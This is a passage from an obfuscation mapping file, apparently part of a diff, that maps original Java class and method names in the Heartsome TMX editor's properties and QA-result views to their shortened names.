net.heartsome.cat.te.tmxeditor.view.PropertiesView$CopyActionHandler copyTuAttributeAction -> rL + net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler pasteTuAttributeAction -> rM + net.heartsome.cat.te.tmxeditor.view.PropertiesView getInstance() -> getInstance + void init(org.eclipse.ui.IViewSite) -> init + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + org.eclipse.jface.viewers.TableViewer createTuAttrTable(org.eclipse.jface.action.MenuManager) -> a + org.eclipse.jface.viewers.TableViewer createTuPropTable(org.eclipse.jface.action.MenuManager) -> b + org.eclipse.jface.viewers.TableViewer createTuvAttrTable(org.eclipse.jface.action.MenuManager) -> c + org.eclipse.jface.viewers.TableViewer createTuNoteTable(org.eclipse.jface.action.MenuManager) -> d + void dispose() -> dispose + void setFocus() -> setFocus + org.eclipse.jface.action.MenuManager createMenuManager() -> createMenuManager + void addToolBarAction() -> cf + void setDataAccess(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> d + void autoFit() -> cg + void updateTableViewer(org.eclipse.jface.viewers.TableViewer) -> a + void reloadAndUpdateUI(boolean) -> k + void addNode(net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> addNode + void addPasteNode(net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> addPasteNode + void deleteOverWriteNode(net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> deleteOverWriteNode + void batchTaskWithProgress(net.heartsome.cat.te.tmxeditor.view.PropertiesView$IBatchTask) -> a + void partActivated(org.eclipse.ui.IWorkbenchPart) -> partActivated + void partBroughtToTop(org.eclipse.ui.IWorkbenchPart) -> partBroughtToTop + void partClosed(org.eclipse.ui.IWorkbenchPart) -> partClosed + void partDeactivated(org.eclipse.ui.IWorkbenchPart) -> partDeactivated + void partOpened(org.eclipse.ui.IWorkbenchPart) -> partOpened + void setGlobalActionHandler() -> ch + void setCopyPasteEnable() -> ci + void access$0(net.heartsome.cat.te.tmxeditor.view.PropertiesView,net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> a + void access$1(net.heartsome.cat.te.tmxeditor.view.PropertiesView,net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> b + java.util.Map access$2(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> a + void access$3(net.heartsome.cat.te.tmxeditor.view.PropertiesView,int) -> a + org.eclipse.swt.widgets.Composite access$4(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> b + org.eclipse.swt.custom.ScrolledComposite access$5(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> c + int access$6(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> d + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess access$7(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> e + void access$8(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> f + void access$9(net.heartsome.cat.te.tmxeditor.view.PropertiesView,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IBatchTask) -> a + void access$10(net.heartsome.cat.te.tmxeditor.view.PropertiesView,boolean) -> a + net.heartsome.cat.common.bean.TmxProp access$11(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> g + void access$12(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> h + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction access$13(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> i + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction access$14(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> j + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction access$15(net.heartsome.cat.te.tmxeditor.view.PropertiesView) -> k + void access$16(net.heartsome.cat.te.tmxeditor.view.PropertiesView,net.heartsome.cat.common.bean.TmxProp) -> a +net.heartsome.cat.te.tmxeditor.view.PropertiesView$1 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$1: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void editorOpened(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> editorOpened + void editorClosed() -> editorClosed +net.heartsome.cat.te.tmxeditor.view.PropertiesView$10 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$10: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.PropertiesView$11 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$11: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$12 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$12: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$13 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$13: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$14 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$14: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$15 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$15: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$16 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$16: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$17 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$17: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IBatchTask val$task -> rS + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$2 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$2: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void selectionChanged(org.eclipse.ui.IWorkbenchPart,org.eclipse.jface.viewers.ISelection) -> selectionChanged +net.heartsome.cat.te.tmxeditor.view.PropertiesView$3 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$3: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.view.PropertiesView$4 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$4: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.PropertiesView$5 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$5: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.view.PropertiesView$6 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$6: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.PropertiesView$7 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$7: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.view.PropertiesView$8 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$8: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.PropertiesView$9 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$9: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + org.eclipse.jface.viewers.TableViewer val$tbv -> rO + org.eclipse.swt.widgets.Table val$tbl -> rP + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void run() -> run + net.heartsome.cat.te.tmxeditor.view.PropertiesView access$0(net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction) -> a +net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction$1 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction$1: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction this$1 -> rT + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector -> rU + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction$2 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction$2: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction this$1 -> rT + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector -> rU + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector: + int scope -> scope + java.lang.String name -> name + java.lang.String value -> value + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN +net.heartsome.cat.te.tmxeditor.view.PropertiesView$CopyActionHandler -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$CopyActionHandler: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void run() -> run + void deleteAttr(net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> a + void deleteNode(net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> b + net.heartsome.cat.te.tmxeditor.view.PropertiesView access$0(net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction) -> a +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$1 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$1: + java.lang.String[] item -> rV + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$2 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$2: + java.lang.String[] item -> rV + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + java.lang.String val$identifier -> rX + net.heartsome.cat.common.bean.TmxSegement val$seg -> rY + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$3 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$3: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + net.heartsome.cat.common.bean.TmxNote val$note -> rZ + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$4 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$4: + net.heartsome.cat.common.bean.TmxProp prop -> sa + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$5 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$5: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$6 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$6: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$7 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$7: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$8 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction$8: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction this$1 -> rW + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$dab -> rR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void run() -> run + void editAttr(java.lang.Object,net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> a + void eidtNode(java.lang.Object,net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector,net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope) -> a + net.heartsome.cat.te.tmxeditor.view.PropertiesView access$0(net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction) -> a +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$1 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$1: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector val$attrCollector -> sc + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$2 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$2: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.common.bean.TmxSegement val$tmpSeg -> sd + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector val$attrCollector1 -> se + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$3 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$3: + net.heartsome.cat.common.bean.TmxNote note -> sf + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector -> rU + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$4 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$4: + net.heartsome.cat.common.bean.TmxProp prop -> sa + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector1 -> sg + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$5 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$5: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$6 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$6: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$7 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$7: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$8 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction$8: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction this$1 -> sb + net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope val$cxt -> rQ + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector: + int scope -> scope + boolean overwrite -> sh + boolean typeOnly -> si + java.lang.String name -> name + java.lang.String content -> Q + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + java.lang.String toString() -> toString +net.heartsome.cat.te.tmxeditor.view.PropertiesView$IBatchTask -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$IBatchTask: + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$IModifyByScope: + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void selectedTu() -> selectedTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler: + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN + void runWithEvent(org.eclipse.swt.widgets.Event) -> runWithEvent + void updateEnabledState() -> updateEnabledState + net.heartsome.cat.te.tmxeditor.view.PropertiesView access$0(net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler) -> a +net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$1 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$1: + net.heartsome.cat.common.bean.TmxProp prop -> sa + net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler this$1 -> sj + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$2 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$2: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler this$1 -> sj + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector -> rU + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$3 -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler$3: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$PasteActionHandler this$1 -> sj + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector val$elemCollector -> rU + void selectedTu() -> selectedTu + void filterTu(org.eclipse.core.runtime.IProgressMonitor) -> filterTu + void allTu(org.eclipse.core.runtime.IProgressMonitor) -> allTu +net.heartsome.cat.te.tmxeditor.view.PropertiesView$TableViewerInput -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$TableViewerInput: + int category -> category + net.heartsome.cat.te.core.bean.TmxEditorSelection selection -> selection + net.heartsome.cat.te.tmxeditor.view.PropertiesView this$0 -> rN +net.heartsome.cat.te.tmxeditor.view.PropertiesView$TmxPropTransfer -> net.heartsome.cat.te.tmxeditor.view.PropertiesView$TmxPropTransfer: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$TmxPropTransfer transfer -> sk + net.heartsome.cat.common.bean.TmxProp tmxProp -> sl + net.heartsome.cat.te.tmxeditor.view.PropertiesView$TmxPropTransfer getIns() -> getIns + void setTmxProp(net.heartsome.cat.common.bean.TmxProp) -> setTmxProp + java.lang.String getPropName() -> getPropName + java.lang.String getPropValue() -> getPropValue + net.heartsome.cat.common.bean.TmxProp getTmxProp() -> getTmxProp +net.heartsome.cat.te.tmxeditor.view.QAResultViewer -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer: + java.lang.String ID -> ID + org.eclipse.swt.widgets.Composite parent -> parent + net.heartsome.cat.te.core.qa.QAControl qaControl -> qaControl + java.util.List dataList -> dataList + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable nattable -> nattable + net.heartsome.cat.te.tmxeditor.editor.TmxEditor editor -> editor + de.kupzog.ktable.KTable table -> table + net.heartsome.cat.te.tmxeditor.view.QAResultViewer$KtableModel tableModel -> tableModel + org.slf4j.Logger logger -> logger + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void createTable() -> createTable + void setFocus() -> setFocus + void registLister(net.heartsome.cat.te.core.qa.QAControl) -> registLister + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void clearTableData() -> clearTableData + void locationRow() -> locationRow + java.util.List access$0(net.heartsome.cat.te.tmxeditor.view.QAResultViewer) -> access$0 + de.kupzog.ktable.KTable access$1(net.heartsome.cat.te.tmxeditor.view.QAResultViewer) -> access$1 + void access$2(net.heartsome.cat.te.tmxeditor.view.QAResultViewer) -> access$2 + net.heartsome.cat.te.tmxeditor.view.QAResultViewer$KtableModel access$3(net.heartsome.cat.te.tmxeditor.view.QAResultViewer) -> access$3 +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$1 -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$1: + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$2 -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$2: + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + void keyPressed(org.eclipse.swt.events.KeyEvent) -> keyPressed +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$3 -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$3: + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + void rowResized(int,int) -> rowResized + void columnResized(int,int) -> columnResized +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$4 -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$4: + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + void controlResized(org.eclipse.swt.events.ControlEvent) -> controlResized +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$5 -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$5: + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + java.beans.PropertyChangeEvent val$evt -> sn + void run() -> run +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$KtableModel -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$KtableModel: + java.util.Map belongMap -> so + de.kupzog.ktable.renderers.FixedCellRenderer fixedRenderer -> sp + net.heartsome.cat.te.tmxeditor.view.QAResultViewer$TextRenderer textRenderer -> textRenderer + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + int getFixedHeaderColumnCount() -> getFixedHeaderColumnCount + int getFixedHeaderRowCount() -> getFixedHeaderRowCount + int getFixedSelectableColumnCount() -> getFixedSelectableColumnCount + int getFixedSelectableRowCount() -> getFixedSelectableRowCount + int getRowHeightMinimum() -> getRowHeightMinimum + boolean isColumnResizable(int) -> isColumnResizable + boolean isRowResizable(int) -> isRowResizable + de.kupzog.ktable.KTableCellEditor doGetCellEditor(int,int) -> doGetCellEditor + int getInitialRowHeight(int) -> getInitialRowHeight + de.kupzog.ktable.KTableCellRenderer doGetCellRenderer(int,int) -> doGetCellRenderer + void doSetContentAt(int,int,java.lang.Object) -> doSetContentAt + int doGetColumnCount() -> doGetColumnCount + java.lang.Object doGetContentAt(int,int) -> doGetContentAt + int doGetRowCount() -> doGetRowCount + int getInitialColumnWidth(int) -> getInitialColumnWidth + org.eclipse.swt.graphics.Point doBelongsToCell(int,int) -> doBelongsToCell +net.heartsome.cat.te.tmxeditor.view.QAResultViewer$TextRenderer -> net.heartsome.cat.te.tmxeditor.view.QAResultViewer$TextRenderer: + org.eclipse.swt.widgets.Display display -> display + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> sq + net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory innerTagFactory -> sr + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> cp + int topPadding -> qk + int rightPadding -> ql + int bottomPadding -> qm + int leftPadding -> qn + int lineSpace -> qo + org.eclipse.swt.graphics.Color borderColor -> borderColor + java.util.Map rowHeightMap -> ss + net.heartsome.cat.te.tmxeditor.view.QAResultViewer this$0 -> sm + int getOptimalWidth(org.eclipse.swt.graphics.GC,int,int,java.lang.Object,boolean,de.kupzog.ktable.KTableModel) -> getOptimalWidth + void drawCell(org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,int,int,java.lang.Object,boolean,boolean,boolean,de.kupzog.ktable.KTableModel) -> drawCell + void clearRowHeiMap() -> clearRowHeiMap +net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener -> net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener: + void editorOpened(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> editorOpened + void editorClosed() -> editorClosed +net.heartsome.cat.te.tmxeditor.view.provider.PropertiesLablerProvider -> net.heartsome.cat.te.tmxeditor.view.provider.a: + org.eclipse.swt.widgets.Table table -> table + void addListener(org.eclipse.jface.viewers.ILabelProviderListener) -> addListener + void 